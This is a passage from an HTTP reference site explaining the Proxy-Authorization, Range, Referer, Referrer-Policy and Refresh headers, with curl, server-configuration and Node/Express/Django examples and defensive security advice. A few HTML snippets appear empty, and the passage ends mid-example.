example `user:pass`: ```http GET http://example.com/ HTTP/1.1 Host: example.com Proxy-Authorization: Basic dXNlcjpwYXNz ``` That's a different request form from HTTPS CONNECT. [RFC 9112 §3.2.2](https://www.rfc-editor.org/rfc/rfc9112#section-3.2.2) defines absolute-form for proxy requests. ## Related Headers - [Proxy-Authorization](https://howhttpworks.com/headers/proxy-authorization) - [WWW-Authenticate](https://howhttpworks.com/headers/www-authenticate) - [Authorization](https://howhttpworks.com/headers/authorization) - [407 Proxy Authentication Required](https://howhttpworks.com/status-codes/407) --- # Proxy-Authorization Header > Learn how Proxy-Authorization provides credentials to access resources through a proxy server. Understand proxy authentication schemes and security. Source: https://howhttpworks.com/headers/proxy-authorization Last reviewed: 2026-10-05 > **TL;DR:** `Proxy-Authorization` sends your credentials to a forward proxy, not to the site you're visiting. The proxy asks for them with a `407` and `Proxy-Authenticate`. In curl, use `--proxy-user` (or `--proxy-header` for a custom field). Credentials go out before the HTTPS tunnel exists, so with a plain `http://` proxy they cross the network unencrypted. A proxy that wants credentials replies `407` with a `Proxy-Authenticate` challenge, and the client answers with this header. Clients configured with proxy credentials often send it up front. It's meant for the next proxy on the path that requires authentication; [RFC 9110 §11.7.2](https://www.rfc-editor.org/rfc/rfc9110#section-11.7.2) has the details. ## How Proxy-Authorization Works Here's a trimmed HTTP/1.1 CONNECT request with the example credentials `user:pass`: ```http CONNECT api.example.com:443 HTTP/1.1 Host: api.example.com:443 Proxy-Authorization: Basic dXNlcjpwYXNz ``` The proxy checks the credentials before opening the tunnel. If they're missing or wrong, it sends a 407. If they're good, the client negotiates TLS with the destination inside the tunnel. Credentials for the site itself go in `Authorization` on the request inside that tunnel. ## Syntax ```text Proxy-Authorization: scheme credentials ``` What follows the scheme depends on the scheme. For Basic it's base64 of `username:password`, which anyone can decode. It's encoding, not encryption. ## Encoding Credentials To compute it locally with example credentials: ```bash printf '%s' 'user:pass' | base64 ``` You get `dXNlcjpwYXNz`. A Basic username can't contain a colon, but a password can, so split at the first colon and keep everything after it. See [RFC 7617 §2](https://www.rfc-editor.org/rfc/rfc7617#section-2). ## Testing Let curl prompt you for the proxy password: ```bash curl --proxy https://proxy.example.com:8443 \ --proxy-basic --proxy-user proxyuser \ https://example.com/ -o /dev/null ``` `--proxy-digest` and `--proxy-anyauth` work too, if both your proxy and your curl build support the scheme. To send the header yourself with example credentials: ```bash curl --proxy https://proxy.example.com:8443 \ --proxy-header 'Proxy-Authorization: Basic dXNlcjpwYXNz' \ https://example.com/ -o /dev/null ``` [`--proxy-header`](https://curl.se/docs/manpage.html#--proxy-header) sends the header to the proxy, on the CONNECT. A plain `-H` goes to the destination instead, which is the wrong place. Swap in your real proxy and credentials, of course. ## Security Considerations TLS to the destination only starts once CONNECT succeeds. With an `http://` proxy URL, the CONNECT, and the Basic credentials on it, cross the network in plain text. Use an `https://` proxy when that hop needs protecting, and verify the proxy's certificate on its own terms, separately from the destination's. Keep Proxy-Authorization out of logs. Verbose output from curl and other clients can include it, so redact traces before you share them. ## Getting Proxy-Authorization right Browser JavaScript can't set `Proxy-Authorization`; the Fetch Standard [reserves Proxy- headers](https://fetch.spec.whatwg.org/#forbidden-request-header). Browsers handle proxy authentication through their own or the operating system's proxy settings. Node's built-in `fetch` takes a `dispatcher`, not the `agent` option from `node:http`. Snippets written for other fetch packages often pass an agent, which the built-in client ignores. See [Node's Fetch documentation](https://nodejs.org/api/globals.html#fetch). ### Node with an Undici dispatcher Install `undici` with `pnpm add undici` and save this as `proxy.mjs`. Pass `PROXY_URL`, `PROXY_USER`, and `PROXY_PASSWORD` through the environment or your secrets tooling; the script never prints them: ```javascript import { ProxyAgent, fetch } from 'undici' const { PROXY_URL, PROXY_USER, PROXY_PASSWORD } = process.env if (!PROXY_URL || !PROXY_USER || !PROXY_PASSWORD) { throw new Error('Set the proxy URL and credentials') } const dispatcher = new ProxyAgent({ uri: PROXY_URL, token: `Basic ${Buffer.from(`${PROXY_USER}:${PROXY_PASSWORD}`).toString('base64')}` }) try { const response = await fetch('https://example.com/', { dispatcher }) console.log('origin status', response.status) await response.arrayBuffer() } finally { await dispatcher.close() } ``` The [ProxyAgent API](https://github.com/nodejs/undici/blob/main/docs/docs/api/ProxyAgent.md) takes the ready-made credential in `token` and sends it to the proxy. Keep it out of the request's own `headers`, or the destination receives your proxy password too. For a remote proxy, use an HTTPS proxy URL with a trusted certificate. Reading the body lets the client clean up properly, and `finally` closes the dispatcher even if something throws. When the proxy rejects CONNECT, the tunnel never opens, so many clients throw an error instead of giving you a normal Response with status 407. How that error looks varies by client. Reproduce it with curl to see the proxy's actual response before you debug your `response.status` handling. ### Axios with an HTTPS proxy Agent Axios on Node can route through `https-proxy-agent`. Install both with `pnpm add axios https-proxy-agent`, save this as `axios-proxy.mjs`, and set `PROXY_URL` to a proxy URL that includes credentials: ```javascript import axios from 'axios' import { HttpsProxyAgent } from 'https-proxy-agent' if (!process.env.PROXY_URL) throw new Error('Set PROXY_URL') const proxy = new URL(process.env.PROXY_URL) const agent = new HttpsProxyAgent(proxy) try { const response = await axios.get('https://example.com/', { adapter: 'http', httpsAgent: agent, proxy: false, timeout: 10000 }) console.log('origin status', response.status) } finally { agent.destroy() } ``` The ten-second timeout is just a sensible value for testing. `proxy: false` turns off Axios's built-in proxy handling so the agent controls the route; see the [Axios request configuration](https://github.com/axios/axios#request-config). [HttpsProxyAgent](https://github.com/TooTallNate/proxy-agents/tree/main/packages/https-proxy-agent) opens the CONNECT tunnel, and if the proxy URL contains a username and password, it sends them as Basic proxy authentication. Percent-encode special characters in them, and keep that URL out of logs. This agent works with Node's HTTP adapter; it isn't a Fetch dispatcher. If your proxy uses a private certificate authority, check that trust on its own in curl: ```bash curl --proxy https://proxy.example.com:8443 \ --proxy-cacert proxy-ca.pem --proxy-user proxyuser \ https://example.com/ -o /dev/null ``` `proxy-ca.pem` holds the CA certificates for the proxy. [curl's `--proxy-cacert`](https://curl.se/docs/manpage.html#--proxy-cacert) is separate from `--cacert`, which verifies the destination, so trusting your proxy's CA has no effect on which destination certificates curl accepts. ## Common Patterns The proxy and the origin can each require their own credentials, so configure them separately. A proxy normally consumes the credentials meant for it, but RFC 9110 also lets proxies pass them along to another proxy that's cooperating on authentication. So another proxy on the path may see them. ### Independent proxy and origin authentication curl can handle both in one request, prompting for each password separately: ```bash curl --proxy https://proxy.example.com:8443 \ --proxy-basic --proxy-user proxyuser \ --user originuser https://api.example.com/protected -o /dev/null ``` `proxyuser` authenticates the CONNECT with the proxy; `originuser` authenticates the request inside the TLS connection to the destination. A 401 after the tunnel is up comes from the origin, which means proxy authentication worked. Fix the origin credentials; sending the proxy password to the origin won't help and leaks it. ### Bypassing the proxy for a comparison If your network allows a direct connection, bypass the proxy to compare: ```bash curl --noproxy '*' -I https://example.com/ ``` To force a test through the proxy, pass `--noproxy ''` alongside `--proxy`. Both override curl's bypass environment variables. Comparing the two tells you whether the problem is the proxy route or the destination, though a direct success tells you nothing about the proxy account. In diagnostics, be clear which address is the proxy and which is the origin. A `502` or `504` from a proxy means it couldn't reach the upstream, not that it rejected your password. A failed CONNECT may surface as a client error before any origin response exists. Report errors as they are, rather than turning every exception into “invalid credentials.” To sum up: `Authorization` is for the site, `Proxy-Authorization` is for the proxy, and curl keeps them apart as `--user` and `--proxy-user`. Neither header encrypts anything; that's TLS's job. ## Related Headers - [Authorization](https://howhttpworks.com/headers/authorization) - [Proxy-Authenticate](https://howhttpworks.com/headers/proxy-authenticate) - [WWW-Authenticate](https://howhttpworks.com/headers/www-authenticate) - [Via](https://howhttpworks.com/headers/via) --- # Range Header > Learn how the Range header requests partial content from servers to enable resumable downloads, video streaming, and efficient large file transfers. Source: https://howhttpworks.com/headers/range Last reviewed: 2026-10-05 > **TL;DR:** `Range` asks for part of a file instead of the whole thing: `Range: bytes=0-4` requests the first five bytes. Always check the status. `206` means you got the slice, `200` means the server ignored Range and sent everything, and `416` means none of the requested range exists. ## What is Range? `Range` asks the server for one or more slices of a resource. It's what powers resumable downloads and video seeking. Servers are allowed to ignore it, and [RFC 9110 §14.2](https://www.rfc-editor.org/rfc/rfc9110#section-14.2) requires them to ignore it on anything other than GET. That means a HEAD request with Range tells you nothing about partial-body handling. [Accept-Ranges](https://howhttpworks.com/headers/accept-ranges) advertises support, but clients can send Range without ever seeing it, and the next response is what really tells you whether it worked. ## Range Syntax Requests and responses on this page are examples. ```http Range: bytes=0-4 Range: bytes=5- Range: bytes=-3 Range: bytes=0-1,8-9 ``` In order: an inclusive interval, everything from offset 5 onward, the last three bytes, and two intervals at once. Offsets start at zero and both ends are inclusive. A suffix of zero bytes is unsatisfiable. If you ask for a longer suffix than the file has, you get the whole file. An end offset past the end of the file gets clamped to the last byte; that alone is **not** a reason for `416`. A start offset at or beyond the length is different: there are no bytes to select. ## How Range Works Say the file contains exactly `0123456789`. This request: ```http GET /sample.txt HTTP/1.1 Host: localhost:8080 Range: bytes=5-99 ``` gets this response, with five bytes of body: ```http HTTP/1.1 206 Partial Content Content-Type: text/plain Content-Range: bytes 5-9/10 Content-Length: 5 56789 ``` When `Content-Encoding` is present, offsets count the encoded bytes, not positions in the decompressed file. Keep the representation and its content coding the same across resume requests. ## Server Response Patterns A single-part `206` includes [Content-Range](https://howhttpworks.com/headers/content-range). A multipart `206` uses `multipart/byteranges`, with a Content-Range in each part and none at the top level. Servers can merge overlapping ranges or refuse a request with lots of tiny ones. A `416` for a byte range should include `Content-Range: bytes */length`. Downloaders sometimes treat `416` as "already finished", but it only says none of the requested ranges could be satisfied. Compare that length with your local file before you call the download complete. Test a precondition failure separately from an unsatisfiable range: ```bash curl -sS -D - --range 0-4 \ -H 'If-Match: "not-the-fixture-tag"' \ http://localhost:8080/sample.txt ``` A handler that evaluates If-Match should answer 412 when the tag doesn't match, before it looks at Range at all. That's a 412, not a 416, and no bytes. If-Range behaves differently: a mismatch drops the Range and the request carries on. A downloader relies on these differences to decide whether to retry, replace its partial file, or report a version conflict. When you're tracing how a deployment compresses responses, compare requests with and without `Accept-Encoding: identity`, and note Content-Encoding and Vary alongside Content-Range. The total length of a gzip response tells you nothing about offsets in the uncompressed one. Test through the real proxy path as well as directly against the origin, because something downstream may change the bytes the client actually receives. ## Server Implementation Let a static-file handler do the range framing for you. To try nginx locally, create a fixture with known contents: ```bash mkdir -p /tmp/http-range-demo printf '0123456789' > /tmp/http-range-demo/sample.txt ``` Put this server block inside an existing nginx `http` block: ```nginx server { listen 8080; server_name localhost; root /tmp/http-range-demo; location / { max_ranges 1; } } ``` [`max_ranges 1`](https://nginx.org/en/docs/http/ngx_http_core_module.html#max_ranges) allows one range per request. Anything asking for more is handled as if Range weren't there. `max_ranges 0` turns byte ranges off entirely. Adding an `Accept-Ranges` header by hand implements none of this; the file handler does the work. Caddy's [`file_server`](https://caddyserver.com/docs/caddyfile/directives/file_server) also handles partial static-file responses. With the same fixture, save this as `/tmp/range.Caddyfile`: ```caddy http://localhost:8083 { root * /tmp/http-range-demo file_server } ``` Run it with `caddy run --config /tmp/range.Caddyfile --adapter caddyfile`, then request `http://localhost:8083/sample.txt`. The explicit `http://` keeps this local example on plain HTTP. The [root directive](https://caddyserver.com/docs/caddyfile/directives/root) only picks the directory; `file_server` is what serves files. Leave Content-Range and Content-Length to `file_server`, which computes them for whichever range it selected. ## Testing Range Requests After loading that nginx configuration: ```bash curl -sS -D - --range 0-4 http://localhost:8080/sample.txt curl -sS -D - --range '-3' http://localhost:8080/sample.txt curl -sS -D - --range 10- http://localhost:8080/sample.txt ``` Look at the status, Content-Range, and how many body bytes actually arrived. Use a GET for this; `curl -I` sends HEAD, which ignores Range. With the ten-byte fixture, these cases cover the boundaries: | Range field | Selected bytes when honored | Single-part Content-Range | | --- | --- | --- | | `bytes=0-0` | `0` | `bytes 0-0/10` | | `bytes=5-99` | `56789` | `bytes 5-9/10` | | `bytes=-3` | `789` | `bytes 7-9/10` | | `bytes=-20` | `0123456789` | `bytes 0-9/10` | | `bytes=10-` | None; unsatisfiable | `bytes */10` on 416 | Asking for the last twenty bytes of a ten-byte file returns all ten, still as a 206. A two-range request is different: with `max_ranges 1`, nginx handles it as if Range weren't there: ```bash curl -sS -D - --range 0-1,8-9 http://localhost:8080/sample.txt ``` So you should see a full 200 response. If you lift the limit to test multipart handling, read each part's own Content-Range, and remember that the boundaries and part headers in a multipart body are framing, not file bytes. The fixture uses `printf` without a newline so the file is exactly ten bytes. Create it with `echo` and you get an eleventh byte, a trailing newline, which shifts every total length and suffix offset in the table. ## Resumable Downloads and Video Streaming Save a strong ETag from the response that supplied your partial file, then send it in [If-Range](https://howhttpworks.com/headers/if-range) with the next Range request. If the validator no longer matches, the server ignores Range and sends the full file as a `200`. Replace your partial file when that happens; appending a full body to it corrupts the download. Byte offsets aren't video timestamps or PDF page numbers. A media player reads the format's index to work out which offsets to request. In Node, Fetch gives you a Web ReadableStream, so `response.body.pipe(...)` won't work; that's the Node stream API. This standalone probe fetches the second half of the nginx fixture and writes just that slice to disk: ```javascript import { createWriteStream } from 'node:fs'; import { stat } from 'node:fs/promises'; import { Readable } from 'node:stream'; import { pipeline } from 'node:stream/promises'; const response = await fetch('http://localhost:8080/sample.txt', { headers: { Range: 'bytes=5-', 'Accept-Encoding': 'identity' }, }); if (response.status !== 206 || response.headers.get('content-range') !== 'bytes 5-9/10' || (response.headers.get('content-encoding') ?? 'identity') !== 'identity') { await response.body?.cancel(); throw new Error('Expected the identity-coded fixture range'); } await pipeline( Readable.fromWeb(response.body), createWriteStream('/tmp/range.part'), ); if ((await stat('/tmp/range.part')).size !== 5) { throw new Error('Incomplete range body'); } ``` Save it as `range-probe.mjs` and run `node range-probe.mjs`. [`Readable.fromWeb()`](https://nodejs.org/api/stream.html#streamreadablefromwebreadablestream-options) converts the stream, and `pipeline` propagates transfer failures. It writes a separate fragment rather than appending to an existing download. If the transfer fails partway, the fragment is incomplete, so treat it as scratch until the size check passes. For a real resume, store the ETag alongside the first fragment, send it in If-Range, and check both the returned interval and the version before you append. The [If-Range page](https://howhttpworks.com/headers/if-range#getting-if-range-right) walks through that decision. Getting the right bytes and confirming they belong to the version you saved are two separate checks. ## Related Headers - [Accept-Ranges](https://howhttpworks.com/headers/accept-ranges) - [Content-Range](https://howhttpworks.com/headers/content-range) - [If-Range](https://howhttpworks.com/headers/if-range) --- # Referer Header: What It Sends and How to Control It > Referer tells a server which page a request came from. What browsers send under the default strict-origin-when-cross-origin policy, and how to trim it. Source: https://howhttpworks.com/headers/referer Last reviewed: 2026-10-05 > **TL;DR:** `Referer` (yes, misspelled) is the request header that tells a server which page the request came from. Under the browser default, same-origin requests get the full URL, cross-origin HTTPS requests get only the origin (`https://blog.example.com/`), and HTTPS-to-HTTP requests get nothing. Use it for analytics and as a CSRF signal; it's easy to fake and often missing, so never use it for authentication. ## What is Referer? Browsers attach `Referer` to navigations and resource loads to say where the request came from. The header keeps its historical misspelling; [Referrer-Policy](https://howhttpworks.com/headers/referrer-policy) is spelled correctly. The "referrer" isn't always the previous page: when a document loads an image or calls fetch, that document is the referrer. [RFC 9110 section 10.1.3 defines the field](https://www.rfc-editor.org/rfc/rfc9110.html#section-10.1.3). ## How Referer Works Say a reader is on `https://blog.example.com/posts/caching?edition=web#examples`, and the page uses the default `strict-origin-when-cross-origin` policy. Clicking a link to `https://shop.example.com/products` sends (examples on this page are trimmed): ```http GET /products HTTP/1.1 Host: shop.example.com Referer: https://blog.example.com/ ``` The shop only learns the origin. A link to another page on the blog itself would carry the path and query too. The fragment (`#examples`) is never sent. ## Referer Format Here's what a same-origin request from that page carries: ```http Referer: https://blog.example.com/posts/caching?edition=web ``` Browsers always strip the fragment and any `user:password@` part. Depending on the policy, they may also cut the value down to the origin with a trailing `/`, or drop the header entirely. [MDN lists which URL parts are allowed](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referer). ## When Browsers Send Referer Links, form submissions, images and fetches all carry it, subject to policy. Typing a URL or opening a bookmark usually means there's no referring page, so no header. A `no-referrer` policy or a link with `rel="noreferrer"` suppresses it. Under the default policy, going from HTTPS to HTTP drops it, but a page that sets `unsafe-url` sends the full URL even then. To change the policy for one image without touching the rest of the page, set it on the element: ```html Logo ``` The image server still sees the URL being requested and the client's IP address. Referrer policy only controls what the request says about the page it came from. ## Real-World Examples A same-origin request from your cart page to checkout carries the cart path. A referral from another HTTPS site usually carries only that site's origin. That includes search engines, so plan your analytics without their full query URLs or any particular vendor's referral format. Here's a checkout request from `https://shop.example.com/cart?coupon=SPRING` under the default policy: ```http GET /checkout HTTP/1.1 Host: shop.example.com Referer: https://shop.example.com/cart?coupon=SPRING ``` Source and destination share an origin, so checkout sees the cart's query string. Move checkout to `https://pay.example.com` and it gets only the origin, even though both belong to the same company. Same-site isn't same-origin. ## Server-Side Usage Parse the value before you compare it. This helper returns an HTTP(S) origin, or null: ```javascript function referralOrigin(value) { if (typeof value !== 'string') return null try { const url = new URL(value) return ['http:', 'https:'].includes(url.protocol) ? url.origin : null } catch { return null } } ``` Compare the result against a configured public origin such as `https://app.example.com`, not against a substring of `req.headers.host`. Treat it as context; it's not a login check. In an existing Express app, the helper can label each request's referral without keeping the full URL: ```javascript app.use((req, res, next) => { const origin = referralOrigin(req.get('Referer')) res.locals.referral = origin === null ? 'unknown' : origin === 'https://shop.example.com' ? 'internal' : 'external' res.locals.referralOrigin = origin next() }) ``` Define "internal" with a configured origin; the incoming Host header is under the client's control. Use the label for reporting, and let checkouts with an unknown referral through, because plenty of legitimate ones arrive that way. Clients outside the browser can send any value they like. ## Privacy and Security URLs often contain account IDs or password-reset tokens, and Referer can leak them to third parties. On sensitive pages, set the policy in the document before it makes any requests: ```html ``` For a single external link: ```html
Partner ``` ## Common Referer Policies The default is `strict-origin-when-cross-origin`: the full (stripped) URL for same-origin requests, the origin for cross-origin requests at the same security level, and nothing when going from HTTPS to HTTP. `no-referrer` sends nothing anywhere. `origin` drops the path and query everywhere, but sends the origin even from HTTPS to HTTP. [MDN compares all directives](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy#directives). ## Analytics Use Cases Log a missing or unparseable value as "unknown". Calling it "direct" lumps typed URLs together with policy suppression and privacy tools. If you only need the referring origin, store only the origin. For attribution you control, put a campaign parameter on the destination link: ```html View products ``` The parameter is part of the destination URL, so it survives `no-referrer` and shows up in your logs whether or not a Referer was sent. Anyone can type it, though, so treat it as untrusted reporting data rather than evidence the visit came from the partner. ## Security Considerations A prefix check like `referer.startsWith('https://app.example.com')` also accepts `https://app.example.com.attacker.example/`. Parse both sides and compare origins exactly. [OWASP lists Origin/Referer checks as one layer of CSRF defense](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#checking-the-origin-header), alongside an explicit decision about missing values and separate authentication. ## Testing Referer Headers ```bash curl -i https://app.example.com/checkout \ --referer 'https://app.example.com/cart' ``` curl sends whatever value you give it and applies no referrer policy. To see real browser behavior, navigate from a served page and inspect the destination request in the Network panel. Note that `document.referrer` tells you how the current page was reached; it isn't the Referer the page sends on its own outgoing requests. Compare a request with a referral and one without: ```bash curl -i https://app.example.com/checkout curl -i https://app.example.com/checkout --referer 'https://other.example/' ``` Both should succeed; this also checks that your analytics code copes with a missing header. To test how the browser trims the value, load a source page with a query string, follow a link to a same-origin page and one to another HTTPS origin, and look at each destination request. ## Getting Referer right Browser scripts can't set `Referer` directly. Fetch offers `referrer` and `referrerPolicy` options, within limits. To suppress the referral on one request, set the policy and then check the request that went out: ```javascript await fetch('/api/data', { referrerPolicy: 'no-referrer' }) ``` ## Related Headers - [Referrer-Policy](https://howhttpworks.com/headers/referrer-policy) - [Origin](https://howhttpworks.com/headers/origin) - [Sec-Fetch-Site](https://howhttpworks.com/headers/sec-fetch-site) --- # Referrer-Policy Header > Learn how Referrer-Policy controls how much referrer information is sent with requests. Protect user privacy while maintaining analytics functionality. Source: https://howhttpworks.com/headers/referrer-policy Last reviewed: 2026-10-05 > **TL;DR:** `Referrer-Policy: strict-origin-when-cross-origin` is the current default: send the stripped source URL to the same origin, only its origin to other HTTPS origins, and nothing on a normal HTTPS-to-HTTP downgrade. Use `no-referrer` to suppress the header everywhere. ## What is Referrer-Policy? This response header governs referral information sent *from* a document on later navigations and resource requests. It does not erase a Referer already received by your server. The outgoing request field is spelled [Referer](https://howhttpworks.com/headers/referer). ## How Referrer-Policy Works For a source at `https://app.example.com/account?view=full#profile`, the default permits this illustrative same-origin request header: ```http Referer: https://app.example.com/account?view=full ``` For a request to `https://partner.example.com`, it permits only: ```http Referer: https://app.example.com/ ``` The fragment is excluded in both cases. A normal cross-origin HTTP destination receives no Referer under this policy. The [current Referrer Policy draft defines the default](https://w3c.github.io/webappsec-referrer-policy/#referrer-policies). ## Syntax ```http Referrer-Policy: strict-origin-when-cross-origin ``` A comma-separated header list uses the **last recognized policy**, not the first. This lets an older fallback precede the preferred policy: ```http Referrer-Policy: no-referrer, strict-origin-when-cross-origin ``` The fallback list belongs in the HTTP header, not an HTML `referrerpolicy` attribute. [The parsing algorithm processes each recognized token in order](https://w3c.github.io/webappsec-referrer-policy/#parse-referrer-policy-from-header). ## Policy Directives For a source on HTTPS, the following compares a same-origin target, another HTTPS origin, and a normal non-trustworthy cross-origin HTTP target. “URL” means the source URL without user information or fragment. | Policy | Same origin | Other HTTPS origin | Other HTTP origin | | --- | --- | --- | --- | | `no-referrer` | Omitted | Omitted | Omitted | | `no-referrer-when-downgrade` | URL | URL | Omitted | | `same-origin` | URL | Omitted | Omitted | | `origin` | Origin | Origin | Origin | | `strict-origin` | Origin | Origin | Omitted | | `origin-when-cross-origin` | URL | Origin | Origin | | `strict-origin-when-cross-origin` | URL | Origin | Omitted | | `unsafe-url` | URL | URL | URL | `no-referrer-when-downgrade` is an older default, not the current one. [MDN defines each directive](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy#directives). ## Common Examples Inside an nginx server or location serving HTML: ```nginx add_header Referrer-Policy "strict-origin-when-cross-origin" always; ``` For Apache with `mod_headers`: ```apache Header always set Referrer-Policy "strict-origin-when-cross-origin" ``` Use the documented [nginx](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header) or [Apache](https://httpd.apache.org/docs/2.4/mod/mod_headers.html#header) directive and verify the final document response. In an existing Express app, set a document default and override it for a sensitive route: ```javascript app.use((_req, res, next) => { res.set('Referrer-Policy', 'strict-origin-when-cross-origin') next() }) app.get('/reset-password', (_req, res) => { res.set('Referrer-Policy', 'no-referrer') res.sendFile('reset-password.html', { root: '/srv/app/public' }) }) ``` Create that HTML file under the fixed root. Returning the override from the document route governs its later requests; setting it on `/api/reset-password` alone would not change the calling document. With Helmet installed, its standalone middleware can set the default: ```javascript const helmet = require('helmet') app.use(helmet.referrerPolicy({ policy: 'strict-origin-when-cross-origin' })) ``` [Helmet documents this option](https://helmet.js.org/#referrer-policy). Register a sensitive route's override after it, and inspect the delivered HTML response to catch any later proxy setter. For Caddy, this complete site block applies a default and then a path-specific override: ```caddyfile app.example.com { route { header Referrer-Policy strict-origin-when-cross-origin header /reset-password Referrer-Policy no-referrer reverse_proxy localhost:3000 } } ``` [Caddy's header directive](https://caddyserver.com/docs/caddyfile/directives/header) accepts a matcher before the field name. The [route block preserves the written order](https://caddyserver.com/docs/caddyfile/directives/route), so the path override runs after the default. If the backend also sets Referrer-Policy, choose which layer owns the final value rather than depending on conflicting settings. ## Real-World Scenarios A reset-password document containing a token in its URL can use `no-referrer` to avoid sending it to either same-origin or external subresources. The default still sends a path and query to same-origin destinations; origin-only cross-origin handling does not protect those internal requests. A token placed in `#fragment` is excluded from Referer, but the default does not remove tokens in `?query` for same-origin requests. Do not test only an external analytics request and conclude the page is protected: an internal image, stylesheet, or API request can receive the source path and query. Removing a query parameter from a destination link also does not remove it from the source page's URL. Policy is applied to the source URL when constructing the outgoing Referer. ## Meta Tag Alternative ```html ``` Place it early in the head, before resource loads. Processing this meta element updates the document's policy for subsequent requests, including when the response supplied a different policy. [HTML defines the update](https://html.spec.whatwg.org/multipage/semantics.html#meta-referrer). ## Getting Referrer-Policy right Set the policy on the initiating document. Returning `no-referrer` on a JSON fetch response does not retroactively hide the incoming Referer or update the calling page's document policy. ## Common Patterns For one link or image, use a single policy value: ```html Partner Logo ``` External stylesheets can carry their own referrer policy for resources they load, which is useful when diagnosing a CSS-initiated request that differs from a document-initiated one. ## Privacy Implications Even `unsafe-url` excludes fragments and user information; it can still leak paths and queries. Policy is one control over referral disclosure, not a way to keep a sensitive URL out of history, logs, or other application code. ## Analytics Considerations Origin-only referrals preserve a source origin but remove the referring page path. Missing Referer can result from policy or direct navigation; do not assign a definite cause from absence alone. Query parameters placed on the destination URL are separate from referral information. For example, an incoming `https://blog.example.com/` identifies an origin but cannot tell you which article linked to the shop. A destination parameter such as `?campaign=launch` can provide an application-defined label, although visitors can edit it. Do not interpret the missing source path as a broken tracking implementation when the chosen policy deliberately removes it. ## Testing ```bash curl -sS -D - -o /dev/null https://app.example.com/account ``` This checks what policy the server delivers. Test browser behavior by making same-origin and cross-origin requests from that document and inspecting their request headers in Network. Keep the test source URL non-sensitive. A small same-origin probe makes this visible. Add this route to an existing Express app in a local test environment: ```javascript app.get('/referrer-probe', (req, res) => { res.json({ referer: req.get('Referer') ?? null }) }) ``` From a served page at `/test?marker=referrer-test`, run: ```javascript for (const referrerPolicy of ['strict-origin-when-cross-origin', 'no-referrer']) { const response = await fetch('/referrer-probe', { referrerPolicy }) console.log(referrerPolicy, await response.json()) } ``` The first same-origin request can include the source path and query; the second omits Referer. For a cross-origin comparison, navigate to a probe on another HTTPS origin you control, or inspect a subresource request there in Network. A cross-origin fetch probe would need CORS permission before JavaScript could read its JSON; CORS and referrer policy are separate checks. Check the [compatibility data](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy#browser_compatibility) when supporting older clients. Browser privacy settings may restrict disclosure beyond a site's selected policy; a policy describes what may be sent, not a guarantee that every request includes it. ## Related Headers - [Referer](https://howhttpworks.com/headers/referer) - [Origin](https://howhttpworks.com/headers/origin) - [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy) --- # Refresh Header > Learn how the Refresh header instructs browsers to reload or redirect after a delay. Understand its use cases, limitations, and better alternatives. Source: https://howhttpworks.com/headers/refresh Last reviewed: 2026-10-05 > **TL;DR:** `Refresh: 5; url=/next` tells the browser to go to `/next` five seconds after the page loads, and `Refresh: 5` reloads the current page. It works like ``, not like a real HTTP redirect. If a URL has moved, send a `301`/`308` (or another `3xx`) with `Location` instead. ## What is Refresh? The `Refresh` response header uses the same declarative refresh machinery as ``. The [HTML Standard](https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-http-equiv-refresh) defines how it behaves. RFC 9110 doesn't list it among HTTP's redirect mechanisms, because it isn't one. ## How Refresh Works Here's a response that sends it (example headers, HTML body left out): ```http HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Refresh: 5; url=/next ``` The countdown is tied to the document loading, not to the moment the headers arrive. [MDN says the delay starts after the page has fully loaded](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Refresh). Even `Refresh: 0` goes through that document refresh processing, so it isn't the same as an HTTP redirect that happens before anything renders. ## Syntax ```http Refresh: 30 Refresh: 5; url=/next Refresh: 0; url=https://example.com/new-page ``` The first line reloads the page, the second goes to a relative URL, and the third to an absolute one. Give the delay in whole seconds; browsers ignore any fractional part. How long to wait is up to you. ## Common Examples The HTML-only version goes in the document head: ```html ``` It's the same timed navigation, just declared in the markup instead of a header. Everything on this page about timing and accessibility applies to both. ## Real-World Scenarios A status page that should keep reloading has to send the directive on every response. Each `Refresh` only schedules one load. If the next response leaves the header out, the reloading stops. So a status page can show a generated timestamp and ask for another load. Keep each GET read-only, so reloading only fetches the status and never starts or repeats the job being monitored. If a POST submits the job, keep it on a separate URL from the status page. Say `/status` returns `Refresh: 30`. Each new load can repeat the header while the job runs and drop it once the job is done, which ends the cycle. Base that on the job's real state: thirty seconds passing doesn't mean the job finished. ## Server Implementation This nginx route goes inside a `server` block: ```nginx location = /waiting { default_type text/html; add_header Refresh '5; url=/result'; return 200 'Waiting

Opening the result page in five seconds.

Open result now'; } ``` [`add_header`](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header) puts the field on this `200` response. `/result` is your application's job, and nothing here checks whether a background task is finished. In an existing Express app, this route serves a timestamped status page: ```javascript app.get('/status', (req, res) => { res.set('Refresh', '30') res.set('Cache-Control', 'no-store') res.type('html').send(` Status

Generated at ${new Date().toISOString()}

Refresh now`) }) ``` `Cache-Control: no-store` is what keeps this response out of caches; `Refresh` has no effect on caching. The example always schedules another load. In a real app, check the job's state and leave the header off once it's complete. A Django view sets the field on the response it returns: ```python from django.http import HttpResponse def waiting(request): response = HttpResponse( '

Opening the result page in five seconds.

' 'Open result now', content_type='text/html; charset=utf-8', ) response['Refresh'] = '5; url=/result' response['Cache-Control'] = 'no-store' return response ``` See [Django's docs on setting header fields](https://docs.djangoproject.com/en/6.0/ref/request-response/#setting-header-fields). You'll need a `/result` route of your own. Like the nginx version, this view just schedules a navigation; it doesn't wait for any background result. In PHP, send headers before any output: ```php Status'; echo '

Status checked.

